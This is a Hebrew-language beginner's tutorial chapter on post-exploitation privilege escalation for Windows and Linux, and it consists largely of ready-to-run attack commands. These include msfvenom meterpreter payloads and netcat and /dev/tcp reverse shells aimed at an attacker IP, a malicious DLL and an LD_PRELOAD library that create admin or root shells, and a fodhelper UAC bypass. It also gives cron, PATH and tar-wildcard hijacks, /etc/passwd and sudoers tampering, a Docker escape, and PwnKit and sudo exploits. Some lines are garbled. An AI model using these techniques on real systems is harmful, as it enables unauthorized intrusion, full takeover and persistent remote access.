

פרק ט'א — Post- Exploitation: העלאת הרשאות (Privilege Escalation)

מדריך מלא למתחילים — בעברית

פרק ט'א — Post-Exploitation: העלאת הרשאות (Privilege Escalation)

מה זה Post-Exploitation בכלל?

אז קיבלת גישה ראשונית למכונה. אולי דרך phishing שהריץ לך payload, אולי דרך פגיעות ב-web app, אולי דרך RDP עם סיסמה גנובה. עכשיו מה?

Post-Exploitation (לאחר הניצול) הוא כל מה שקורה אחרי שיש לך דריסת רגל ראשונית. זה השלב שבו אתה:

- מעלה הרשאות (privilege escalation) כדי להגיע ל-SYSTEM/root
- שומר גישה גם אחרי ריסטארט (persistence)
- זז לצידדים ברשת (lateral movement)
- גונב מידע ושולח אותו החוצה (data exfiltration)
- מכסה עקבות

בפרק הזה נתמקד בחלק הראשון והקריטי ביותר: **העלאת הרשאות** — איך לעבור ממשתמש רגיל ל-SYSTEM/Administrator (Windows) או root (Linux).

למה הרשאות חשובות כל כך?

כשאתה נוחת על מכונה, בדרך כלל יש לך הרשאות של משתמש רגיל (unprivileged user). זה אומר:

- אתה לא יכול לקרוא קבצי config עם סיסמאות
- אתה לא יכול להתקין backdoors בצורה שתשרוד ריסטארט
- אתה לא יכול לגנוב hash-ים של סיסמאות
- אתה לא יכול להפעיל חלק גדול מהכלים ההתקפיים

SYSTEM (Windows) ו-**root** (Linux) הם הרשאות הגבוהות ביותר — הן נותנות לך שליטה מלאה על המכונה.

חלק א': העלאת הרשאות ב-Windows

ההבנה הבסיסית: Windows Permissions

ב-Windows יש כמה רמות הרשאה:

- **Low Integrity — sandbox**, כמו דפדפן, לא יכול לכתוב למקומות רגישים
 - **Medium Integrity** — משתמש רגיל, רוב הפעולות היומיומיות
 - **High Integrity — Administrator** עם UAC מאושר
 - **SYSTEM** — השירות הגבוה ביותר, מעל Administrator
- (**UAC** (User Account Control) — זה החלון שמבקש ממך "האם אתה בטוח שאתה רוצה..." כשמשו
מנסה לקבל הרשאות גבוהות.

כלי מספר 1: winPEAS

winPEAS הוא סקריפט שסורק את המכונה ומחפש כל נקודת חולשה אפשרית. הוא מציג הכל בצבעים — אדום = קריטי, צהוב = חשוד.

```
# הורדה (מהמכונה התוקפת דרך netcat/http server)
# או ישירות ממג'יק:
certutil -urlcache -split -f http://ATTACKER_IP:8080/winPEAS.exe winPEAS.exe

# הרצה
winPEAS.exe
winPEAS.exe quiet # רק ממצאים חשובים
winPEAS.exe systeminfo # רק מידע על המערכת
```

הוא בודק:

- Service mis-configurations
- Registry permissions
- Scheduled tasks
- Stored credentials
- Missing patches (CVEs)
- Unquoted service paths
- Writable paths

טכניקה 1: Unquoted Service Path

הסבר:

ב-Windows, כשסרביס מוגדר עם נתיב שמכיל רווח ואין לו גרשיים, Windows מנסה לפרש את הנתיב בצורות שונות.

לדוגמה, אם הנתיב הוא:

```
C:\Program Files\My Service\service.exe
```

Windows מנסה לפי הסדר:

1. `C:\Program.exe`

2. `C:\Program Files\My.exe`

3. `C:\Program Files\My Service\service.exe`

אם אתה יכול לכתוב ל- `C:\Program Files\` ולשים שם `My.exe` — ה-service יריץ את הקובץ שלך כ-
!SYSTEM

איתור:

```
# מציא את כל ה-services עם unquoted paths
Get-WmiObject -Class Win32_Service | Where-Object {
    $_.StartMode -ne 'Disabled' -and
    $_.PathName -notmatch '^"' -and
    $_.PathName -match ' '
} | Select-Object Name, PathName, StartMode
```

גרסה עם wmic

```
wmic service get Name,PathName,StartMode | findstr /i "auto" | findstr /i /v ""
```

ניצול:

```
# 1. בדוק אם יש כתיבה לתיקייה הרלוונטית
icacls "C:\Program Files\My Service\"

# אם רואה: BUILTIN\Users:(W) – אתה יכול לכתוב!

# 2. צור executable זדוני (עם msfvenom)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f exe -o M

# 3. העלה לנתיב הנכון
copy My.exe "C:\Program Files\My.exe"

# 4. הפעל מחדש את השירות
sc stop "VulnService"
sc start "VulnService"

# או המתן לריסטארט
```

טכניקה 2: Weak Service Permissions

הסבר:

לפעמים המשתמש שלך יכול לשנות את הגדרות ה-service עצמו — כולל מה הוא מריץ.

```
# בדיקת הרשאות על services עם (Sysinternals) accesschk.exe
accesschk.exe -ucqv * /accepteula 2>nul | findstr /i "RW"

# בדוק service ספציפי
accesschk.exe -ucqv "VulnService" /accepteula

# בדוק מי יכול לשנות services
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
```

ניצול:

```
# אם יש לך SERVICE_CHANGE_CONFIG :
sc config VulnService binpath= "cmd.exe /c net localgroup administrators hacker /add"
sc start VulnService

# או עם payload :
sc config VulnService binpath= "C:\temp\reverse.exe"
sc start VulnService
```

טכניקה 3: DLL Hijacking

הסבר:

Windows מחפש DLL-ים (ספריות) לפי סדר מסוים. אם התוכנה מנסה לטעון DLL שלא קיים בתיקייה שלה, היא תחפש במקומות אחרים — ואם אתה יכול לשים DLL זדוני במקום שנבדק קודם, הוא ירוץ עם הרשאות התוכנה.

סדר החיפוש:

1. תיקיית ה-executable עצמה
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. תיקיית עבודה נוכחית
6. תיקיות ב-PATH

```
# Procmon (Sysinternals) – DLL loads
# סנן: Operation=NAME NOT FOUND, Path ends with .dll

# בדיקת missing DLLs ידנית:
# עבור על כל ה-processes שרצים כ-SYSTEM
# מצא DLLs שהם מחפשים ולא מוצאים

# בדוק תיקיות שאתה יכול לכתוב אליהן:
$Paths = $env:PATH -split ";"
foreach ($p in $Paths) {
    try {
        [IO.File]::OpenWrite("$p\test.txt").close()
        Write-Host "Writable: $p" -ForegroundColor Green
        Remove-Item "$p\test.txt"
    } catch {}
}
```

ניצול — כתיבת DLL זדוני:

```
// evil.dll – DLL בסיסי שמוסיף admin
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}
```

```
# קמפיל עם mingw
x86_64-w64-mingw32-gcc -shared -o target.dll evil.c

# שים בתיקייה שנבדקת לפני ה-system directory
copy target.dll "C:\writable_path\target.dll"
```

טכניקה 4: AlwaysInstallElevated

הסבר:

אם שתי registry keys מסוימות מוגדרות ל-1, כל MSI file ירוץ עם הרשאות SYSTEM!

```
# בדיקה:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# אם שניהם 1x0:
```

ניצול:

```
# צור MSI זדוני:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f msi -o e

# הרץ:
msiexec /quiet /qn /i evil.msi
```

טכניקה 5: Token Impersonation

הסבר:

ב-Windows, כל process רץ עם **token** — תעודת זהות שמכילה את ההרשאות שלו. אם יש לך הרשאת **SeImpersonatePrivilege** (שיש לה לחשבונות שירות כמו SQL Server, IIS), אתה יכול "לגנוב" token של SYSTEM.

```
# בדיקת token privileges:
whoami /priv

# אם יש SeImpersonatePrivilege או SeAssignPrimaryTokenPrivilege – אפשר לנצל!
```

כלים לניצול:


```
# PrintSpoofer – עובד על Windows 10/Server 2019
PrintSpoofer.exe -i -c cmd.exe
PrintSpoofer.exe -c "nc.exe 10.10.10.100 4444 -e cmd.exe"

# GodPotato – כל כמעט כל Windows
GodPotato.exe -cmd "net localgroup administrators hacker /add"

# JuicyPotato (Windows Server 2016 ומטה)
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c net localgroup administrators hacker /add" -t *

# RoguePotato
RoguePotato.exe -r 10.10.10.100 -e "cmd.exe"
```

טכניקה 6: UAC Bypass

הסבר:

UAC הוא מנגנון שמבקש אישור לפני הרצת תוכניות עם הרשאות גבוהות. אבל יש דרכים לעקוף אותו — בעיקר על ידי ניצול binary חתום של Microsoft שיכול לרוץ elevated בלי לבקש אישור (auto-elevate).

בדיקת רמת UAC:

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPrompt
# = 0 ללא שאלה
# = 1 שאלה ברמה Secure Desktop
# = 2 שאלה
# = 5 Default (non-Windows שאלה רק עבור)
```

שיטה 1: fodhelper.exe

```
# fodhelper.exe binary שרץ auto-elevated ומשתמש ב-registry
# אפשר לשנות registry key שהוא קורא מהן

New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "(default)" -Value "cmd.exe /c start cmd.exe" -Force

# הפעל את fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe"

# נקה:
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
```

שיטה 2: UACME

```
# UACME – שמכיל עשרות bypass methods
# https://github.com/hfiref0x/UACME

akagi64.exe 23 # שיטה 23 – fodhelper
akagi64.exe 41 # שיטה 41 – slui.exe
akagi64.exe 61 # שיטה 61 – נוספת

# עם payload:
akagi64.exe 23 "cmd.exe /c net localgroup administrators hacker /add"
```

שיטה 3: עם Metasploit

```
:meterpreter-ב #  
use exploit/windows/local/bypassuac  
set SESSION 1  
run  
  
:א #  
getsystem # מנסה כמה שיטות אוטומטית
```

טכניקה 7: Scheduled Tasks

הסבר:

Scheduled Tasks שמוגדרות לרוץ כ-SYSTEM אבל הקובץ שהן מריצות ניתן לשינוי — זהב.

```
SYSTEM-כ # מציא scheduled tasks שרצות כ-  
schtasks /query /fo LIST /v | findstr /i "task\|run as\|task to run"  
  
:task # בדוק כל task  
Get-ScheduledTask | Where-Object { $_.Principal.UserId -like "*SYSTEM*" } |  
    Select-Object TaskName, TaskPath, @{n="Action";e={$_.Actions.Execute}}  
  
: # בדוק הרשאות על הקובץ שה-task מריצה:  
icacls "C:\path\to\task-binary.exe"
```

ניצול:

```
# אם יש לך כתיבה לקובץ:  
copy evil.exe "C:\path\to\task-binary.exe"  
# המתן שה-task תרוץ, או הפעל ידנית:  
schtasks /run /tn "VulnTask"
```

טכניקה 8: Registry AutoRun עם הרשאות גרועות

```
# מציאת AutoRun entries
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

# בדיקת הרשאות על כל בינרי
foreach ($path in (Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run'
    $exe = ($path -split '')[1]
    if ($exe) { icaccls $exe }
}
```

טכניקה 9: Hot Potato / Potato Attacks

הסבר:

משפחת Potato attacks מנצלת חולשות ב-Windows Authentication (NTLM relay) לקבלת SYSTEM. יש גרסאות רבות:

- **Hot Potato** (2016) — ישנה, פחות רלוונטית
- **Rotten Potato** — NTLM relay to localhost
- **Juicy Potato** — לחשבונות שירות
- **Sweet Potato** — מאחד כמה שיטות
- **God Potato** — הכי חדש, עובד על Windows 10/11 ו-Server 2022

```
# GodPotato – קל להשתמש
GodPotato.exe -cmd "cmd /c whoami > C:\output.txt"
GodPotato.exe -cmd "cmd /c powershell -enc BASE64_PAYLOAD"

# SweetPotato:
SweetPotato.exe -a "whoami"
SweetPotato.exe -a "C:\temp\shell.exe"
```

טכניקה 10: CVE — Windows Kernel / Privilege Escalation CVEs

חלק מהחולשות הכי ידועות ב-Windows ל-EoP (Elevation of Privilege):

```
# בדיקת גרסת Windows #
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# גם לאחר ג'ישה לפגיע – MS17-010 (EternalBlue):
# כבר ב-SYSTEM אבל לפעמים נחוץ

# CVE-2021-34527 (PrintNightmare):
# כל גרסת Windows Print Spooler
python3 CVE-2021-34527.py 'domain/user:pass@target'

# CVE-2022-21999 (SpoolFool):
SpoolFool.exe -dll C:\temp\evil.dll

# CVE-2023-21752 (Windows Backup Service):
# Local Privilege Escalation

# MS16-032 – Secondary Logon Service:
# Windows 7-10, Server 2008-2012
Import-Module .\Invoke-MS16032.ps1; Invoke-MS16032

# CVE-2019-1388 – UAC bypass via cert:
# פותח elevated CMD דרך ממשק גרפי של certificate
```

Sherlock / Watson — בדיקת missing patches:

```
# Sherlock (ישן, PowerShell):
Import-Module .\Sherlock.ps1
Find-AllVulns

# Watson (חדש יותר, C#):
Watson.exe

# wesng (Windows Exploit Suggester - Next Gen):
# ממכונת תוקף:
python3 wes.py systeminfo.txt -i "Elevation of Privilege"
```

חלק ב': העלאת הרשאות ב-Linux

ההבנה הבסיסית: Linux Permissions

ב-Linux, המשתמש עם הרשאות מלאות הוא **root** (UID=0). כדי להגיע לשם, צריך לנצל:

- חוסר תצורה נכונה (misconfiguration)
- SUID/GUID binaries
- Cron jobs
- Sudo misconfiguration
- Kernel vulnerabilities

linPEAS:1 כלי מספר

```
# הורדה והרצה:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# או אם אין אינטרנט:
wget http://ATTACKER:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# שמירת output:
./linpeas.sh | tee /tmp/linpeas_output.txt
./linpeas.sh -a # כל הבדיקות
```

LinEnum:2 כלי מספר

```
wget http://ATTACKER:8080/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -r report -e /tmp/ -t # -t = thorough
```

טכניקה 1: SUID Binaries

הסבר:

SUID (Set User ID) הוא bit מיוחד שאומר "כשהקובץ הזה רץ, הוא רץ עם הרשאות הבעלים שלו, לא המשתמש שמריץ אותו." אם הבעלים הוא root ו-SUID מוגדר — כל אחד שמריץ את הקובץ הזה קיבל הרשאות root.

```
# מצא כל SUID binary
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# פלט לדוגמה:
# /usr/bin/passwd
# /usr/bin/sudo
# /usr/bin/pkexec
# /usr/local/bin/custom_app <-- חשוד!
```

GTFOBins — אתר שמפרט כיצד לנצל binaries סטנדרטיים:

```
# find (SUID):
find . -exec /bin/sh -p \; -quit

# vim (SUID):
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# python (SUID):
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# bash (SUID):
bash -p

# cp (SUID) – העתק /etc/shadow:
cp /etc/shadow /tmp/shadow

# nano (SUID) – ערוך /etc/passwd:
nano /etc/passwd
hacker:$1$secret$hash:0:0:root:/root:/bin/bash :הוסף #

# nmap (SUID, גרסאות ישנות):
nmap --interactive
nmap> !sh

# nmap (גרסאות חדשות):
echo "os.execute('/bin/sh')" > /tmp/shell.nse
nmap --script=/tmp/shell.nse

# less (SUID):
less /etc/passwd
:less תוך כדי #
!sh

# tar (SUID):
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# awk (SUID):
awk 'BEGIN {system("/bin/sh")}'
```



```
# perl (SUID):
perl -e 'exec "/bin/sh";'

# ruby (SUID):
ruby -e 'exec "/bin/sh"'

# env (SUID):
env /bin/sh -p

# tee (SUID) – files כתוב ל root:
echo "ALL ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers
```

טכניקה 2: Sudo Misconfiguration

הסבר:

sudo מאפשר למשתמשים להריץ פקודות כ-root. הגדרות גרועות ב- `/etc/sudoers` יכולות לאפשר לך לקפוץ לroot.

```
# בדוק מה אתה יכול להריץ עם sudo:
sudo -l

# פלט לדוגמה:
# User user may run the following commands on server:
# (ALL) NOPASSWD: /usr/bin/vim
# (ALL) NOPASSWD: /usr/bin/python3
# (root) NOPASSWD: /usr/bin/find
```

ניצול לפי (GTFOBins) binary:

```
# sudo vim:

sudo vim -c '!/bin/bash'

:IX #

sudo vim -c ':set shell=/bin/bash' -c ':shell'


# sudo python3:

sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

sudo python3 -c 'import os; os.system("/bin/bash")'


# sudo nano:

sudo nano /etc/passwd

# ctrl+R ctrl+X תרי:

reset; sh 1>&0 2>&0


# sudo find:

sudo find /etc/passwd -exec /bin/bash \;


# sudo awk:

sudo awk 'BEGIN {system("/bin/bash")}


# sudo curl (לכתוב sudoers):

sudo curl file:///etc/sudoers -o /etc/sudoers


# sudo less:

sudo less /etc/shadow

bash! :הקש less תוך #


# sudo journalctl:

sudo journalctl

# !/bin/bash


# sudo tcpdump:

echo "priv" > /tmp/runme.sh

chmod +x /tmp/runme.sh

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/runme.sh


# sudo zip:
```

```

TF=$(mktemp -u)

sudo zip $TF /etc/hosts -T -TT 'sh #'

# sudo apt-get:
sudo apt-get changelog apt
# !/bin/bash

# sudo man:
sudo man man
# !/bin/bash

# sudo git:
sudo git help config
# !/bin/bash

```

:env vars על Sudo Shell Escape

```

:LD_PRELOAD מאפשר sudo אם #
"env_keep += "LD_PRELOAD :ש' אם sudo ב-ל-בדוק #

:preload library כתוב #
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so find

```

טכניקה 3: Cron Job Abuse

הסבר:

Cron הוא scheduler ב-Linux שמריץ פקודות בזמנים מוגדרים. אם cron job שרץ כ-root מריץ סקריפט שאתה יכול לערוך — אתה יכול להחדיר פקודות.

```
# בדיקת cron jobs
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*
crontab -l # cron jobs הנוכחי של המשתמש
ls -la /var/spool/cron/crontabs/

# סיסטם crontab:
# * * * * * root /opt/backup/backup.sh
# ^ ^ ^ ^ ^
# | | | | |
# | | | | day of week (0-7)
# | | | month (1-12)
# | | day of month (1-31)
# | hour (0-23)
# minute (0-59)
```

ניצול:

```

# אם opt/backup/backup.sh ניתן לכתיבה:
ls -la /opt/backup/backup.sh
# -rwxrwxr-x 1 root root ... backup.sh <-- יכול לכתוב!

# הוסף reverse shell לסקריפט:
echo 'bash -i >& /dev/tcp/10.10.10.100/4444 0>&1' >> /opt/backup/backup.sh

# המתן לריצה, תוך דקה תקבל shell

# אם הסקריפט מייבא מודולים/כלים בדרך יחסית:
# bash script.sh שעושה cd /opt && python3 helper.py
# אם אתה יכול לכתוב ל-opt/helper.py - אתה שולט

# PATH manipulation ב-cron:
# אם ב-crontab יש:
# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# ו-cron מריץ: backup (בלי נתיב מלא)
# אם usr/local/bin/ ניתן לכתיבה:
cat > /usr/local/bin/backup << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.100/4444 0>&1
EOF
chmod +x /usr/local/bin/backup

```

:Wildcard Injection

```
# אם ה-cron script מכיל משהו כמו:
# tar czf /backup/all.tgz /home/*

# אפשר ליצור קבצים עם שמות שהם :flags
cd /home
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/10.10.10.100/4444 0>&1" > shell.sh

# כשה-tar ירוץ, זה יתפרש כ:
# tar czf /backup/all.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh /home/user
```

טכניקה 4: Writable /etc/passwd

```
# בדוק אם ניתן לכתוב:
ls -la /etc/passwd
# -rw-rw-r-- 1 root shadow ... /etc/passwd <-- פגיע!
```

:password hash צור #

```
openssl passwd -1 -salt hack3r password123
# $1$hack3r$abc123...
```

:הוסף root משתמש חדש #

```
echo 'hacker:$1$hack3r$abc123...:0:0:root:/root:/bin/bash' >> /etc/passwd
```

:התחבר #

```
su hacker
# password: password123
```

טכניקה 5: NFS No_Root_Squash

הסבר:

NFS (Network File System) מאפשר שיתוף תיקיות ברשת. אם שיתוף מוגדר עם `no_root_squash`, קבצי SUID שנוצרו על-ידי root מהמכונה המחברת נשמרים עם הרשאות SUID.

```
# בדוק NFS exports (מהמכונה הפגיעה):
cat /etc/exports
# /shared *(rw,no_root_squash)

# ממכונת תוקף (root):
showmount -e TARGET_IP
mount -t nfs TARGET_IP:/shared /mnt/nfs

# צור SUID bash כ-root:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# ממכונת קרבן:
ls -la /shared/bash
# -rwsr-sr-x 1 root root ... bash

/shared/bash -p # מקבל root shell!
```

טכניקה 6: Docker Escape

הסבר:

אם אתה נמצא בתוך Docker container ויש לך גישה ל-Docker socket, אתה יכול לצאת לhost.

```
# בדוק אם אתה ב-container:
cat /proc/1/cgroup # יש docker ב-container
ls -la /.dockerenv # קיים ב-containers-קובץ זה

# בדוק אם יש גישה ל-docker socket:
ls -la /var/run/docker.sock

# אם יש גישה:

# הרץ container חדש עם root filesystem מ-host:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# עכשיו יש לך גישה ל-filesystem של host כ-root!

# אלטרנטיבה:
docker run --rm -it --privileged alpine

# בתוך ה-privileged container:
fdisk -l

mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
```

```
# בדוק גרסת kernel
uname -a
# Linux server 4.15.0-20-generic #21-Ubuntu ...

cat /etc/os-release
lsb_release -a

# כלים לחיפוש exploits
# linux-exploit-suggester:
./linux-exploit-suggester.sh

# linux-exploit-suggester-2:
python linux-exploit-suggester-2.py

# נפוצים CVEs:
# Dirty COW (CVE-2016-5195) – kernel < 4.8.3
# DirtyCred (CVE-2022-2588)
# PwnKit (CVE-2021-4034) – pkexec
# Sequoia (CVE-2021-33909)
# Baron Samedit (CVE-2021-3156) – sudo < 1.9.5p2
```

PwnKit — הכי קל לנצל:

```
# עד ינואר 2022 Linux distros פגיע על רוב ה – CVE-2021-4034

# בדוק גרסת pkexec
pkexec --version

# הורד exploit
git clone https://github.com/ly4k/PwnKit
cd PwnKit
make
./pwnkit # מקבל root!
```

Baron Samedit — sudo heap overflow

```
# CVE-2021-3156 — sudo < 1.9.5p2

# בדיק:
sudoedit -s '\ ' $(python3 -c 'print("A"*65536)')

# Segfault? — פגיע!

# Exploit:
git clone https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156
make

./sudo-hax-me-a-sandwich 0 # ל-Ubuntu 18.04
./sudo-hax-me-a-sandwich 1 # ל-Ubuntu 20.04
```

טכניקה 8: Path Hijacking

```
# בדיק אם תיקיות ב-PATH שאתה שולט בהן מגיעות לפני
echo $PATH

# /home/user/.local/bin:/usr/local/bin:/usr/bin:/bin

# אם root מריץ סקריפט שמשתמש בפקודה בלי נתיב מלא:
# #!/bin/bash

# service apache2 restart <-- מחפש 'service' ב-PATH

# ואתה שולט ב- /home/user/.local/bin/
cat > /home/user/.local/bin/service << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.100/4444 0>&1
EOF
chmod +x /home/user/.local/bin/service
```

טכניקה 9: Capabilities

הסבר:

Capabilities ב-Linux הן דרך לתת לבינארי הרשאות ספציפיות של root (כמו `cap_net_raw` לצריבת packets) בלי לתת root מלא. לפעמים ה-capabilities מוגדרות ברשלנות.

```
:capabilities עם binaries #
getcap -r / 2>/dev/null

# פלט לדוגמה:
# /usr/bin/python3.8 = cap_setuid+ep
# /usr/bin/perl = cap_setuid+ep

# cap_setuid = יכול לשנות UID → root!

# python3 עם cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl עם cap_setuid:
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# vim עם cap_setuid:
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

# tar עם cap_dac_read_search:
tar xf /dev/null --to-command='sh < /dev/tty'

# ויכול לקרוא etc/shadow/
```

```
# LD_PRELOAD:
# כבר הסברנו בסעיף sudo, אבל גם רלוונטי ל-SUID:
# אם SUID binary משתמש ב-LD_PRELOAD (נדיר אבל קיים)

# LD_LIBRARY_PATH:
# דומה ל-LD_PRELOAD, שינוי נתיב ספריות

# PYTHONPATH:
# אם python script SUID, שנה PYTHONPATH לתיקיה שלך
mkdir /tmp/evil
cat > /tmp/evil/os.py << 'EOF'
import pty
pty.spawn('/bin/bash')
EOF
PYTHONPATH=/tmp/evil python3 target_script.py
```

סיכום: מתודולוגיית PrivEsc

Windows — סדר בדיקות:

1. `whoami /all` — בדוק privileges
2. `systeminfo` — גרסה, patches
3. `whoami /groups` — קבוצות
4. `net user`, `net localgroup administrators`
5. `services`-`schtasks`, `sc query` — scheduled tasks
6. `reg query` — AlwaysInstallElevated, AutoRun
7. winPEAS

Linux — סדר בדיקות:

1. `id`, `whoami` — מי אני
2. `uname -a`, `cat /etc/os-release` — גרסה
3. `sudo -l` — sudo permissions
4. `find / -perm -4000 2>/dev/null` — SUID

`cat /etc/crontab` , `ls /etc/cron.*` — cron .5

`cat /etc/exports` — NFS .6

`getcap -r / 2>/dev/null` — capabilities .7

linPEAS .8

טיפ מקצועי: המחלקה השלמה

בחיים האמיתיים, PrivEsc לוקח זמן. אל תפסול שיטה רק כי לא עבדה בניסיון הראשון. הרצת linPEAS/winPEAS בתחילת כל pentest היא חובה — הם חוסכים שעות עבודה ידנית.

בפרק הבא: **Post-Exploitation Part 2 — 09b**: כשיש לך SYSTEM/root — מה עושים עם זה? C2
.data exfiltration-ו ,frameworks, persistence, lateral movement